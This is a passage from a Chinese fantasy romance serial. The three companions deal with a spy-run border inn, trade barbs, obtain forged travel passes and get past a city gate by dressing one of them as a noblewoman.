原本笑脸相迎的客栈伙计拔刀相向,没有废话,砍向最后进门的岑无望。 岑无望偏头躲过来势汹汹的一刀,侧身后抬手卸了他一只胳膊。 他知道这里是别人的地盘,所以没有直接要这人的性命,甚至没有动用鬼气,而是用了动静最小的方法,直接扼住喉咙,卡住天突穴朝上的位置,没有用多少力气就让对方顾不得手中刀,专心在他手中挣扎。 “照渊阁的待客之道还是那么独特。”岑无望评价道。 看见这位伙计的面色发红,甚至有些慢慢发紫,闻佩鸣不紧不慢道:“肯定是误会,岑师兄手下留情。” 这回是闻佩鸣不占理,岑无望当然会手下留情,给他们一个费心狡辩的机会。 闻佩鸣皱眉,斜睨了一眼走到台前的掌柜:“这是什么情况,你最好能给客人一个满意的答复,办事不利,我纵有诸多借口,在这件事上也不会徇私护着你。” 掌柜战战兢兢,如履薄冰,他的背弯的很深,头几乎要埋进胸里。 “这……这……” 伙计咳嗽几声,还在大口大口喘着气,半晌都没缓过劲儿。 掌柜硬着头皮道:“贵客饶命,我们谨慎过了头,方才你们在客栈外触动了机关,我们便以为是恶鬼跟了过来。少阁主安危高于一切,因担心少阁主受到蛊惑,所以才在未曾禀告少阁主的情况下,贸然袭击了来客。求少阁主责罚!” 他哐当跪地,同时不忘给伙计使了眼色。 伙计赶忙翻身,他一只手还软绵绵的垂着,所以只能单手撑地,跟着掌柜高呼:“求少阁主责罚。” “我可做不了主。”闻佩鸣道,“你们要求,也该去求客人的宽恕。” 还未等他们在出声,云杳窈道:“等等。” 此处是襄华边境,毗邻中原禁地,连人 都不常来往,恶鬼喜好吸食人的精魄血肉,这里不像是会受到恶鬼侵扰的地方。 “好好的客栈,为何要设立辨识恶鬼的机关?”云杳窈警惕。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 60-70 第61章 掌柜怔愣一瞬,没有立即回答。他小心翼翼抬头去瞧闻佩鸣,对方正好也在看他。 闻佩鸣打开扇子,遮了遮鼻子,移开目光,神情如常道:“看我干嘛?问你话就直说。” 掌柜连连道是,随后说:“贵客们有所不知,这些日子里附近常有鬼偷袭往来行人,我们也是担心鬼怪慢慢成了气候,所以提前防范。” 这回轮到闻佩鸣不乐意:“有这种事,为何没有及时给阁中传信。” 掌柜脸色泛白,他啊了声,明显没反应过来,好一会儿才磕巴道:“我……属下半月前曾给阁中禀明情况,但阁中并未派人手增援,只说这边的小鬼成不了气候,让我们静观其变,顾好自身,若真出了为祸一方的恶鬼,再派人来一并清剿。” 他擦了擦下巴上的汗:“请少阁主明示,要不要提前清剿附近小鬼。” 此话一出,闻佩鸣立即蹙着眉咳了下:“是吗,那你还按原先阁中指示行事就好。” 这下轮到岑无望反击,他整个人倚在门框边,闲闲说着风凉话,字字往人心窝子上戳:“看来少阁主对阁中事务不甚熟悉,是无心处理,还是有心无力啊?” “啧啧。”岑无望低头看向客栈掌柜和伙计,仿佛忘记了刚才被埋伏刺杀的事,好言相劝,“我说,照渊阁把你们扔在这等偏僻之地,遇见险情连个援助都没有,该不会是早把你们这处给忘了吧。此等行径,莫说是你们,就连我都要寒心了,还这么尽心尽力做什么,早日另谋出路吧。” 话没说完,被闻佩鸣高声打断:“够了!这又不是……” 仅仅失态一瞬,他平息了面上愤怒,皮笑肉不笑道:“阁中事务繁忙,我身为少阁主,也不能事无巨细的考虑到每一处,更何况赴践河划开南北,分割了北境与南荒,北方的诸多事务照渊阁鞭长莫及,岑师兄有空在这里挑拨离间,不如管好自己的嘴,免得给云师姐招来麻烦。” 闻佩鸣用虎口收紧扇子,微微抬起下巴,指示掌柜的:“你没错,不必请罪,起来吧。” 膝盖发软的掌柜从未想到能遇见今日这般情境,硝烟味几乎要逼他喘不过来气。 他眼冒金星,并不敢真的轻视岑无望,赔着笑冲几人行了一礼:“房间已经提前收拾出来了,几位要不先上去换换衣裳?” “也好,我们稍稍整顿休整,等会儿再商议接下来的去向。”云杳窈道。 他们几个混身湿透,云杳窈这么说,他们才歇了火,不再挖空心思冷嘲热讽。 掌柜的看见那伙计还在低头发愣,有些恨铁不成钢,朝着他的屁股踢了一脚:“光顾着少阁主的安危了,都不知道护着点自己,胳膊都断了,还怎么做活?” “去去去,让伙房的人把热水尽快送到房里,你就别再出现在贵客们面前了,丢人现眼。” 伙计听见他这么说,一个字都没再多说,连忙用完好的那条胳膊捂着屁股逃离了现场。 几间空房紧连着,云杳窈先推开了中间那扇门,装作没看出两人间的气氛。 她知道现在不是调节两人关系的时候,岑无望嘴毒,闻佩鸣与他旗鼓相当,两人都不是逆来顺受的性格,光靠说教未必能使他们服气。 若不小心有了偏向,还会引起另一人的不满,在找到止戈摆脱闻佩鸣这个隐患前,她不欲在他身上付出太多无用功。 所以云杳窈索性装聋作哑:“你们动作快些,若有情况,大声喊救命,我就在隔壁。” 两人没有回答,各自走开。云杳窈叹了口气才进了房间,待再出来时,已经是半个时辰后。 她本来可以再早些出来,但出门前瞥见问心,想起剑灵好久没出来了,又试了好几种方法,想看看能不能再次唤醒剑灵。 可惜问心从未回应。 原以为另外两人应该已经等了许久,然而她还没下楼,便迎面撞上掌柜端着东西亲自上了二楼。 他托盘中是几瓶药,内服外敷都有。 “云姑娘。”掌柜停了下来。 云杳窈见状,点头向他回礼。 楼梯狭窄,掌柜打完招呼便侧身让开位置,方便云杳窈过路。 云杳窈抬脚的动作停了一瞬,突然改了主意,她扬起笑脸问掌柜:“这药是送到那里的?” “这些药是该送到少阁主房中的,有什么问题吗?”掌柜有点紧张。 他看见云杳窈拿起一瓶药,打开封口看了看又仔细嗅了嗅,赶忙说,“小人愚钝,这些不过是寻常的伤药,云姑娘若是有什么指示,还请您直言。” 云杳窈安抚他:“阿伯不必紧张,我只是担心这些药的药效不好,闻师弟用不惯。” 她从储物袋拿出一只小巧的青瓷瓶子,将它放在托盘上,谦和道:“闻师弟娇贵,这会儿正与我们闹脾气呢,我也不知该如何哄他才好,麻烦阿伯代我将这瓶药送进去。” “这……”掌柜犹豫,“姑娘何不亲自送去。” “放心,闻师弟能认出来,这是乾阳宗的上品秘药,剑修切磋起来向来没轻没重,受伤是常有的事。外伤倒是小事,若是内伤不及时医治,伤及脏腑,阻塞灵气运转,那才是真要命的。” 云杳窈担忧道:“闻师弟一向骄矜自傲,怕是不愿接受我的好意,若是您去送,既能让他明白我的苦心,又能给他个台阶下。” 或许是云杳窈话语真诚,又或许是因她过于年轻的面庞难免让人心软,总之,掌柜犹豫片刻,还是答应了。 他没有检查瓶子里的药,笑着对云杳窈说:“那我一定和少阁主说清楚,不能抢了姑娘的功劳。” 又说:“年轻人脸皮薄,旁人看不出,但我却看得出,少阁主对您还是上心的。” 云杳窈没把客套话当真,侧身让路。掌柜朝走了过去,她则留了一线鉴义在他身上,坐在大厅内喝茶,顺便听两人的谈话。 掌柜敲过门后,好一会儿才等到闻佩鸣过来开门。 他打开门也不说话,只是面色不善的看着他。 掌柜硬着头皮端着药,好一会儿才听见闻佩鸣轻哼一声:“进来吧。” 进门口,刚把药放在了桌上,便听见闻佩鸣在身后突然说:“阁主跟你说了什么,你知不知道,要不是我替你瞒过去,你险些闯下大祸。” 语调很平,但这冷不丁的发问还是让掌柜吓了一跳,不小心扫到药瓶,他连忙扶起,转身就看见闻佩鸣眼神幽邃深沉,不怒自威。 “少阁主息怒。”掌柜弯腰,不敢抬头与他对视。 掌柜年纪不小,若非他能力一般,又说不善与人交际,也不会被阁中人排挤到这边境地带。前两年还说再熬几年就能回南荒,没想到在关键时刻陷入是非。 阎王打架,小鬼遭殃。这两位他谁都得罪不起,只好实话实说:“今日之事,本就是阁主的指令,属下是万万不敢违抗的。” 脑中闪过方才闻佩鸣与岑无望剑拔弩张的场面,他顿时明白了点什么,连忙补充:“阁主他也是担心您的安危,是属下无能,不能替少阁主和阁主解忧,没能一举除掉岑无望。还请少阁主念在属下这么多年背井离乡,忠心耿耿的份上,饶恕我这一回。” 闻佩鸣虽说憋了一肚子怒火,但终究心软下来:“罢了,你要是中用,也不会守在这里这么多年。阁主应该也知道你杀不了他。” 他拿起瓷瓶,在掌心转了几圈,眯起眼仔细打量了一阵。 “这些谁让你送来的?” 掌柜抬头,看见年轻气盛的少阁主垂眸凝思,他模样生的好,每一处都是造物主精心雕刻一般,找不出半分瑕疵,就连手中细腻精致的青瓷小瓶都被他玉色润泽的肌肤衬得黯淡了不少。 “您手里的,是隔壁的云姑娘特意嘱咐的,她说不方便亲自送,让我代为转交。” 闻佩鸣仍旧没有任何动作,也没有说话,掌柜却明显感觉到他身上阴沉的躁气少了些,心念一转,扯谎道;“她担心您的内伤,说让我一定要亲自看着您用药。” “云姑娘对少阁主多有关心,少阁主莫要辜负她一片心意。” “药确实是乾 阳宗的药。“闻佩鸣说。 掌柜停了后,暗自松了口气,至少这药没问题,看来这云杳窈确实是单纯想要关照同门师弟。 可下一秒,他的心就提到了嗓子眼。 “这些话到底是她的意思,还是说你随口编来的谎话?”闻佩鸣道。他拔出瓶塞,倒了几粒药丸,却没着急服用。 “属下不敢。”掌柜自然不会承认,他说的话本就半真半假,只是闻佩鸣这番态度,倒让他拿不准他的态度,只能接着原先的话真假参半的说。 “年轻人面皮薄,有些话不好意思说,但话说的再好听,也比不过行动啊。”掌柜干笑两声,“有些时候,若是说错话也不要紧,重要的不是她说过什么,而是看她做了什么。” 他看闻佩鸣脸色渐缓,底气足了起来:“这药,云姑娘可没给另一位,一直担心您,所以才亲自叮嘱我送药过来。听云姑娘所言,少阁主受的是内伤,要不是她提了一嘴,属下都没想到要送要过来。” “都这样了,她对您不能说不用心啊。” 掌柜看闻佩鸣手里捏着一粒丸药,如玉手指与漆黑药丸对比鲜明。他轻哼一声,惊得掌柜耳朵一动,感觉头皮都紧了不少。 “一瓶药而已,照渊阁什么奇珍异宝没有?连山门都没踏出过几回,也就她把这种东西当个宝,还巴巴的送过来,我才不稀罕。” 至此,掌柜的一颗心才回归原位,他附和道:“呦,那按照少阁主这么说,这小姑娘也怪可怜的,不过我仔细回想她的话,觉得她确实有些不太好的地方。” 闻佩鸣刚舒展的眉头重新皱起:“她说了什么?” 第62章 掌柜见有戏,便学着方才云杳窈的语气和神态,将她的话复述了一遍:“闻师弟娇贵,这会儿正与我们闹脾气呢,我也不知该如何哄他才好。” “云姑娘未免把少阁主想得太狭隘了!我们少阁主英俊潇洒、年轻有为,和她嘴里的人简直是两模两样啊!”掌柜颇为激动。 闻佩鸣知道掌柜或许有些夸张,可他郁结在心口的气确实在一句句劝慰中散去。 “行了。”他用扇子拍了拍掌柜的肩膀,“这儿没你的事儿了,出去吧。” “那这些药……” “费那么多话干嘛?”他抬手挥退掌柜,“用不着你操心,做好你分内的事就行。” 掌柜总算把人稳住,刚要乐呵呵退下,腰才直起来,听见这位天降的祖宗又发话:“等等。” “你叫什么名字?” “魏泊。” “我是说真名。”闻佩鸣道。 行走在外的照渊阁暗线都有代号和假身份,离开南荒这么久,掌柜的很多记忆都模糊了,以至于他没能第一时间就回答出来这个问题。 半晌,他才说:“属下原名聂清光。” “你来北境多久了?” 掌柜没有丝毫犹豫,准确回答:“十五年零四个月。” 他刚回答完就意识到自己太急,只能讪讪笑了笑。 “你年纪也不小了。”闻佩鸣说,“境界停滞多久了?” 这次聂清光是真记不得了,只能说出个大概:“大约二十年吧。” 说完,聂清光自己都笑了,他没什么大志向,当年阁中势力清算,新任阁主雷霆手段,把他们这些前阁主提拔的人都纷纷派了出去。 他全盛之时也不能触摸到阁中的大人物,莫名其妙就被打成了旧派,他那时正是失意困顿之际,连找人说情周旋都不曾,就孤身来到了襄华边境。 思索了多年,聂清光始终没想清楚其中的弯弯绕绕,他年轻的时候就嘴笨,除了忠诚一无所有,根本无力在局势变换的时候及时保全自身,掌权人随手一指,就蹉跎他几十年光景。 “你回家吧。”闻佩鸣突然说,“我会传信给阁中,换个年轻力壮的过来。你就回乡养老吧,若还有家里人在这里,就一同带回去。” 余光看见聂清光呆愣在原地,他笑了出来:“你放心,该补偿你的,我会让天枢加倍给你。” 这事并非闻佩鸣突发善心,主要按照照渊阁的规矩,这种偏僻的苦差事任期不会超过十年,聂清光不是被遗忘,就是被人算计了。 他倒对底层互斗没什么兴趣,但手下人积怨久了就会产生异心,他不容许来日在这种小事上栽跟头。 所以从长远来看,闻佩鸣这么做既能不让老人寒心,维护他在阁中的名声。此外,这十几年间格局变化,这里虽看起来平静无波,可距离禁区最近,难保不会在某一日成为照渊阁向禁区拓展的中转站。 闻佩鸣有意栽培自己心腹到此处历练,最好能做到悄无声息。 把聂清光这么一个不中看也不中用的老家伙换掉,基本不会引人注目,于他们都是百利无一害。 所以闻佩鸣看见聂清光眼含热泪,只觉得好笑:“哭什么?不乐意走,还是说你在这里还有什么放不下的。” 扇子抵在下巴处,他盯着聂清光,上下审视打量。若聂清光再犹豫下去,他就要考虑让天枢查查他这些年的产业和人情往来,然后进行斩草除根。 任谁外放十几年,手中都不会太干净,这些事都可大可小,闻佩鸣只打算给他一次挽回的机会。 不过聂清光并不知晓闻佩鸣心中所想,他胡乱擦了擦汹涌的泪水,刮红了眼眶。 “属下为人愚笨,不善与人交际往来,从南荒到北境十余年,血亲死尽,师友渐远,少阁主体恤属下年老体弱,是小人之幸,哪里还敢求旁的什么恩赐。” 似乎是说到伤心处,聂清关吸了吸鼻子。 “属下唯一的心愿,就是回到老宅……” 闻佩鸣不语,只觉得聂清光啰嗦。所以很快,聂清光的声音减弱,在他略带戏谑的眼神中沉默下去。 聂清光舔了舔嘴唇,不自在地搓了搓手,躬身告退:“是属下多言,若少阁主没有别的吩咐,我这就退下。” 来到楼下,聂清光远远看见云杳窈与岑无望相对而坐,两人穿着荆钗布裙,姿态从容平和,不需要太多 “怎么看着不太高兴的样子?”岑无望柔声问。 他隐藏的很好,以聂清光的境界去看,他身上没有半点凶戾鬼气。 云杳窈却能看见他鬼气化作的烟状触手凑到她脸上,想要帮她提起唇角。 她没有阻止,目光直接越过岑无望,看向已经放慢脚步的聂清光。岑无望注意到,随她视线回头。 这回身一眼,差点吓到聂清光。他太阳穴直跳,瞳孔紧缩。 像,太像了。 聂清光反应过来,客气道:“两位贵客稍等,我们少阁主马上下来。” 他这会儿有点疲于应付,尽管没事可做,硬是给自己找了个借口:“瞧我这记性,这一路上要用到的路引忘了拿过来了,两位稍等。” 说完,他边退后边笑,还不小心撞到了摆放不正的长凳上。 云杳窈刚想说话,岑无望便抬起手指作噤声状:“有什么想对我说的,师妹不妨等入了夜再说。” 他的话并非没有根据。 这掌柜境界虽低,可这间客栈毕竟是照渊阁的地盘,有些话不便让外人知道。聂清光的阵术极佳,保不准就设下了什么能够传音的阵法。 这么一想,云杳窈还是谨慎了起来,她从袖中取出一瓶药,递给岑无望。 他没带犹豫的,倒出来一粒就塞进嘴里。 这般果断,让云杳窈睁大了眼:“你都不问问是什么,药是能随便乱吃的吗?” 岑无望一副无辜的模样,眨了眨眼,支着脑袋靠近她:“你会害我吗?” 云杳窈说:“那肯定不会。” 岑无望笑吟吟望向她,云杳窈能看见他眼中自己的倒影:“那还担心什么,我已经尝出来这是清心丹了。” 心疾难愈,岑无望对这东西的味道最熟悉,仅靠闻都能猜出来,他就是乐意看云杳窈替他紧张。 云杳窈看出他的得意:“岑无望。” “生气了?”岑无望歪头,见她偏过头去,佯装苦恼:“哎呀,师妹不理我了,这可怎么办啊,我笨嘴拙舌的,要是有人能教教我就好了。” 他用手去勾云杳窈垂落在桌子上的一截窄袖,手指离她腕口很近,他挑弄着袖子边缘有些杂乱的线。 衣料和剪裁都太差了,还有一种沉闷潮湿的旧衣味,掩盖了她身上的幽香。岑无望心不在 焉的想,等到了繁华一点的城池,他应该带杳窈买几件新的衣服穿。 云杳窈觉得有些痒,甩开岑无望,两手垫在下巴上,不去看他:“笨蛋,懒得和你说。” 勤快的岑无望起身,绕到她能看见自己的一面,学着她的模样,将左手垫在下巴处,和她双目平行,他憋着笑和云杳窈说:“我都成笨蛋了,那你是什么,小气鬼?” 云杳窈用食指用力点了点他额头:“你说谁是小气鬼,小气鬼才不会搭理你呢。” “对啊。”岑无望赞同,“小气鬼才不会搭理我。” 和岑无望有口舌之争的人向来讨不到好处,云杳窈发现自己被岑无望绕了进去,她再次喊他:“岑无望!” 岑无望回答:“笨蛋在。” 这下云杳窈的气消了一半,他赶紧乘胜追击:“杳窈大人有大量,教教我嘛,我一定对你言听计从。” 说着,举起几根右手手指;“我发誓。” 云杳窈清了清嗓子,伸出手和他细数规则:“那你可要记好了。” “第一,要听我的每一句话,不能忤逆我,要事事询问我意见。” “第二,不能离开我三步远,就算我打你骂你,你也不能离开。” “第三,谨记‘天大地大,杳窈最大’,要把我放在第一位,不能对我有任何隐瞒。” 这三条规则可以称之为无理取闹,云杳窈有意为难他,抬起下巴,问他:“记住了吗?有意见吗?没意见就重复一遍给我听,我可要检查你这个半路徒弟有没有认真听讲。” 岑无望前两条都记得清清楚楚,唯独最后少了半句。 云杳窈叹了口气,知道他是故意的,有些无奈:“说你是笨蛋,你还真装上笨蛋了。” “来,跟我说。”云杳窈道,“天大地大,杳窈最大。” 岑无望勾住她的小指,他眸光潋滟,似有星子万千,几乎要汇成一片无尽的星海,认真重复道:“天大地大,杳窈最大。” 他就如同小时候那般,与她拉勾上吊,最后盖上印记。 “设法为证,岑无望谨遵杳窈师父的教诲。” 说到最后,云杳窈都有点不好意思了,红了耳尖。 “嗯,你还不算无可救药。” “但是……”云杳窈轻轻晃了晃他顺势包裹过来的手,“谁允许你不经我同意就和我牵手的。我警告你,你对我太过亲近,我也是要罚你的。” 第63章 岑无望有恃无恐,饶有兴致收紧手指:“怎么惩罚?” 离得太近,云杳窈几乎能看见他睫毛间跃动的尘埃,就像是有生命的微小灵体,随他的生命起伏,光照在眼里,他的瞳孔才由黑隐隐显现出一种透色的绯红。 云杳窈看见,她的装束虽足够黯淡,却在岑无望的眼睛里变得闪亮。 那其中旖旎让她感到耳根热的发烫。 云杳窈觉得他眼神腻得慌,这种呼吸交织的距离,让她想起了昏暗洞穴中,那个带着潮湿水汽的吻。她一下子有些不自在起来,坐直身体,双臂环起,与岑无望保持距离。 “哎呀。”她企图掩饰这种突如其来的羞涩,“我就是开玩笑而已,怎么还认真了呢。岑无望,你也太经不起玩笑了。” “杳窈师姐与岑师兄开什么玩笑呢?说与我听听。”闻佩鸣站在楼梯上,俯瞰着堂中场景。 云杳窈用余光偷瞄岑无望,发现他的肤色苍白如雪。 这是一件不太公平的事,岑无望的体质就是他最好的伪装,所以还能不紧不慢道:“没什么,只是聊起接下来的路,不知道今晚在何处落脚比较好。” 按照他们现在的速度,想要避开追捕,便不能明目张胆御剑,最好灵驹也不要使用,换成普通马匹,扮作散修模样,离群而行。 入夜前肯定是到不了襄华王都。 “要是能有栖身之处最好,若是来不及入城,可能就要露宿于野,或是连夜赶路,到时候遇见什么鬼魅精怪也说不准啊。” 岑无望口舌间气声如风,凉飕飕飘进云杳窈的耳朵里,就好像附在耳边似的,她登时起了一层鸡皮疙瘩,才恍然发现鬼化对岑无望的影响可能不止是表面上那么简单。 她总忍不住去观察岑无望,想要抓住他身上的所有变化。 然而这番场景落在外人眼底,却成了另一种意思。 闻佩鸣已经走到两人面前,却发现没有一个人直视他,他咳了几声,将云杳窈的目光转移走。 云杳窈回过神,道:“无妨,咱们不急着去襄华王都,可以先用灵驹到逐庆或是坪郸,再换成普通马匹去王都。” 逐庆与坪郸一个在南一个在北,都距离王都两百里有余,若是骑马前行要两到三日才能抵达。 “巧了。”闻佩鸣蹙眉,“照渊阁在襄华的部署也正好是到庆逐,那批货物也正是在此处丢失。” 原本还在两地间犹豫的云杳窈灵光一闪,她本就不想让闻佩鸣继续同行,若是能在逐庆找到那些失踪的货物,按照先前约定,闻佩鸣自然就没有理由再继续缠着他们。 云杳窈立即说:“既然这样,不如就在逐庆停留,寻物宜早不宜迟,越是拖得久,就越不容易找到线索。” “我一开始也是这么计划的,不过这其中其实是有隐患的。”闻佩鸣犹豫后,还是决定说出实情,“在逐庆失踪的不知有货物,还有负责押送货物和接应货物的暗线,城内情况不容乐观。” 云杳窈纠结了一会儿,问他:“还有能联系上的人吗?” “有。”闻佩鸣肯定。 “那你们之间的通信可还正常?是否遇见过阻碍。” “一切如常。”闻佩鸣说,“可此事依旧有许多蹊跷之处,即便是遇见鬼怪,也该有痕迹留下,但尚存活的线人沿途中搜寻,既没有看到灵气残留,更没有看到鬼气痕迹。” 两人具是沉默。 “我有个问题。”岑无望突然打破宁静。“逐庆应该不是终点,你们这批东西到底要运往哪里?” 云杳窈也很好奇,她也用眼神询问。 闻佩鸣手心生汗,深吸一口气,才像下定了某种决心一般,说:“实不相瞒,这些货物应该是运到王都。” 岑无望嗤笑道:“那就不奇怪了,按照你的描述,失踪之人皆是照渊阁之人,此次行程并非普通交易,需要掩人耳目。那会不会是襄华的官员寻到了破绽,发现了他们的异常身份,将他们半路扣下,所以你们才联系不上。” 若是这种情况,也难怪闻佩鸣会想到借姜烛与止戈之手来寻找下落。 没想到闻佩鸣听了后很快便否认:“不可能。” “若是被官方扣下,他们势必会为了保全货物向外递出消息,即便不能,也该亮出身份,让襄华官员与照渊阁交涉。” 岑无望眯了眯眼,他道:“那就是你还不够坦诚。” 气氛有些紧张,云杳窈见状,继续向闻佩鸣施压:“线索太少,很有可能会造成误判。我们既然已经答应帮你,就绝不会轻易背弃约定,可你始终遮遮掩掩,到现在也没几句实话。” 她停顿片刻,看见闻佩鸣额间的汗珠悄然浮现,沉声问:“我再问你,你这批货物,到底是什么?” 时间仿佛被定格,许久,闻佩鸣才说:“我也不知道。” 说完,他似乎有些气恼,承认自己有力所不及的地方,就如同羞辱他的能力。 话到了这个份上,这句简单的不知道已经不是无能,而是一种对自己在阁中绝对权力的亲手瓦解。 闻佩鸣明显有些焦躁,他泄力坐在凳子上,有些头重脚轻,他打开折扇不停地给自己扇风,以此来缓解心头的不安和燥热。 “这批货并未直接向我汇报,而是由阁主亲自下达密令,越过了阁中的审查和登记,我也是偶然得知。” 人在着急时,扇出的风都是热的,闻佩鸣将未合上的扇子拍在桌子上。 “我知道这件事的时候,他们已经失踪了两日,再加上今日,应该已经过去三天了。”他叹了口气,强令自己不要那么着急。 岑无望嘲笑:“照渊阁已经沦落到让你亲自去调查,你这少阁主也并不像自己说的那般威风啊。这事既然越过了你,就说明阁主并不想让你插手,你为什么不直接去找他,按理说这件事该他更上心才是,你着什么急?” 闻佩鸣腮帮子紧了紧:“原本我是不屑于管这种小事的,但暗线中有我不得不救的人。” “谁?” “天枢的同胞弟弟。”闻佩鸣哼了声,“别误会,我只是不愿因此让天枢心生顾虑,我毕竟是堂堂少阁主,只有绝对忠诚的人才值得用。” 云杳窈看着两人你一眼我一语,头隐隐作痛。她喊停,后拍板:“既然逐庆还有人,那我们就先去逐庆,这两地都离王都不远,若是逐庆有难,那我们在孤立无援的坪郸只会更加艰难。” 这次岑无望与闻佩鸣都无异议,只是两人互相看不上,关系越发紧张。 云杳窈只能硬着头皮下达准确的命令:“事不宜迟,我们拿了通行证就上路。” 一直藏在角落的聂清光腰都等酸了,才听见这几个人拍板做决定。 他捧着通行证靠近,还未说话便听见岑无望道:“你们照渊阁的人还喜欢听墙角啊,想必这是你们阁中必修课,已经到了出神入化的地步,竟无半点声息,改日有机会,也该让我学来几分,保不准下次遇上追捕,就能用上呢。” 闻佩鸣知道他这般冷嘲热讽意在何处,他也有几分惊讶。 聂清光此人的阵术比他预想中的还要精妙,连灵气的运行轨迹都能与自然灵气相融,不是事先知道,根本不会察觉。 放在这种穷乡僻壤,确实有些屈才。 不过这种惜才在看见他略显佝偻的脊背后很快就化为乌有。 再特殊的阵法,没有足够强的灵力支撑,依旧没什么大用处,聂清光阵术超绝,可自身灵力并不算起眼,说句不客气的,也就比刚修行的人好上一些。 还是放他回家养老吧,闻佩鸣想。 他心不在焉道:“你大可放心,他今日就启程回南荒,不会向外透露我们的行踪。” “怎么?你不放心。”许是岑无望多次出言不逊让他深感憋屈,闻佩鸣突然生出一股恶意,“那你把他毒哑好了,这样他就不能说话了。” 岑无望有点累,他需要用体内灵力压制鬼气,才能抵挡住鬼化的侵蚀,能保持人形已经是他对世界最大的善意。 原本想顺势靠在云杳窈的肩上休息,但这里还有外人,他并不是那种愿意将所有感情袒露剖白作表演的人,于是随手抓住桌上的折扇,在手中打转,以此提神。 “别。”他专心致志看着扇面移动,维持平衡,“我对凌虐无辜老人不感兴趣,少阁主内心变态,还是少阁主自己来。” 云杳窈看见已经诚惶诚恐,即将腿软跪下的聂清光,眼疾手快扶了他一把。 饶是她也察觉出闻佩鸣的不对劲,为防止玩笑变成事实,她呵斥道:“闻师弟,此话莫要再说。” 这话急急出口,可说完又马上觉察出不对劲,闻佩鸣心高气傲,岑无望只在口头上压了他一头,他就已经按捺不住。 她这句话指不定就是火上浇油。 说出去的话无法收回,再继续找补显得太过刻意,云杳窈便想转移话题,就此将这件事翻篇。 岂料闻佩鸣乖乖道:“师姐教训的是。” 这一句话,让云杳窈混身刺挠,她忍不住回头去看闻佩鸣,试图在他脸上找出类似于不满的情绪。 然而什么都没有,闻佩鸣伸手把扇子捞了回来,看见岑无望挑眉,他合上折扇,淡定道:“怎么了,杳窈师姐乐意管我,你看不惯?” 第64章 临走前发现几张通行证有些破绽,聂清光苦笑解释说这并非他有意为难他们,实在是通行证不好造假,几乎都是从失踪人口或者前任暗线身份做手脚,半真半假才最能迷惑人。 闻佩鸣左瞧右看,最终把自己那张通行证丢给聂清光。 “可是这三张通行证里头有两张都是女人,你让我们怎么分?” 上面写着方方正正几个字:姜二娘。 “没办法。”聂清光道,“客栈里几年也没什么变动,这些都是我买来的身份。” 说着说着,他似乎也觉得不太拿得出手,声音渐弱:“所说是女人,但底细干净,查不出真伪啊。” “通行证都是真的,自然查不出什么。但是只要我敢拿着这东西进城,岂不是立刻告诉别人我做贼心虚,需得拿着伪造的身份才能进城,你不如直接报官抓我。” 闻佩鸣生得肩宽腰窄,身量颀长,虽面若好女,但光是站在那里,只要不瞎就能看出来他不是女人。 “少阁主说得是,您健硕魁梧,走路都能掀起一阵风的,确实不像女人。” 说完,聂清光与闻佩鸣对上视线,忽然福至心灵,默契转身。 正打着哈欠往云杳窈身上靠的岑无望感受到视线,他收回下巴,发现连云杳窈都看了过来,他觉得有些不妙:“女子好啊,这世上又不是没有魁梧些的女子。少阁主能有幸充当女子,该替自己庆幸才是。” 他倚靠在云杳窈肩上,整个人蜷缩成一团,饶是这般,还是要比云杳窈的身形大一圈。 然而这样的场景在两人身上异样和谐。 闻佩鸣充耳不闻,折扇在他手里啪啪作响,应和着脚步,他看着岑无望因心疾而清瘦苍白的脸,还有那因困倦而不断闪动的睫羽,揶揄道:“是啊,岑师兄相貌不俗,若是作女儿装扮,应该要比我好上千倍。” 岑无望立即坐直了身体,却被云杳窈揽住:“莫急。” 他牵住云杳窈衣袖,咳了一声:“师妹,你说句公道话。” 云杳窈的眼神在两人间不断徘徊,突然开口道:“我倒是觉得,你们两个都挺合适。” 她挑过岑无望的下巴,仔细端详:“像不像双生姐妹花?” 闻佩鸣摸了摸两臂上的鸡皮疙瘩,倒比被钳制在她身侧的岑无望反应还大:“恶心死了,谁要跟姓岑的做双生姐妹,也不看他配不配……” 最终还是有惊无险上了路,闻佩鸣扮作边陲商贾,在前驾车。 他若无其事牵着马,想要直接过城门。 守城盘查的士卒见状,立即拦下他:“站住!搜查车内。” 闻佩鸣颔首低声:“车内都是女眷,还请行个方便。” 说着,他侧身拉过士卒,从袖中拿出一锭银子,悄悄塞给他。 士卒收了银子,在手中颠了颠,却没有如闻佩鸣所愿:“你说你来逐庆做生意,不知道近来逐庆严查来往行人吗?让里头的人下车!” 千钧一发之际,有女子的声音从车内飘出来:“等等。” 厚重的帘子被拉了起来,一个年轻俏丽的姑娘从车窗处探出头,扬着笑向士卒致歉:“大人勿怪,实在是家中小姐身体不适,不宜见风,请您通融通融。” 他们随行人员简单,然而驾车的是灵驹,连婢女都相貌不俗。 联想到最近城内的风言风语,担心在无意中惊扰到贵人,士卒也有些犹豫,他又摸了摸已经揣进怀里的银子:“不是我不肯通融……” “这样吧。”他说,“你们让我看一眼车里面的人,若无异样,即刻放行。” 云杳窈与闻佩鸣对视一眼,他脑海 中立即浮现出岑无望换上女装后的场景。 简直毛骨悚然。 闻佩鸣摇了摇头,他还没拉过士卒找其他借口,就惊恐的发现有一只手搭在云杳窈的肩头,片刻后,一位盘着发的美人倚在车窗边,他脸上带着一种血气不足的白,连胭脂都盖不住,微风轻拂,将他发间珠钗拨弄的泠泠作响。 美人未曾言语,仅仅是冲他点头微笑。 好半天,负责盘查的士卒都呆愣在原地,目光发直。 闻佩鸣差点以为露馅了,握紧了藏在袖中的匕首,随时准备袭击此人。 “敢问,这是哪家贵女出行?”士卒询问。 这话一下子将云杳窈的心提到了嗓子眼,怪岑无望太能装,一不小心过了头,如今若是否认,恐再惹起怀疑,她绞尽脑汁,佯装升起,她横眉竖眼,鼻尖朝着他,冷脸训斥道:“低声些,贵人的事,岂能轻易告诉外人的。我敢告诉你车内人的身份,你敢听吗?” 氏族被云杳窈一通恐吓,又联想到通行证上的姓氏,吓出一身冷汗。 “小的有眼无珠,请贵人们勿怪。” 守城士卒对身后的人喊了声放行,接着欠身为他们让路。 照渊阁藏在逐庆的暗线们多聚集在医馆,他们进城没多久,听见闻佩鸣传音进来:“要直接去医馆吗?” 云杳窈掀开帘子一角,放出鉴义。 果然,从城门开始,便有几人一路尾随他们前行。她道:“不急,我们还不知道医馆的具体位置,先探听探听消息也无妨。后面的尾巴一直跟着也不是办法,等天黑之后,我们弃车而行。” 他们在一处城南的客栈落了脚,夜色悄然而至,他们则从后院翻墙出去。 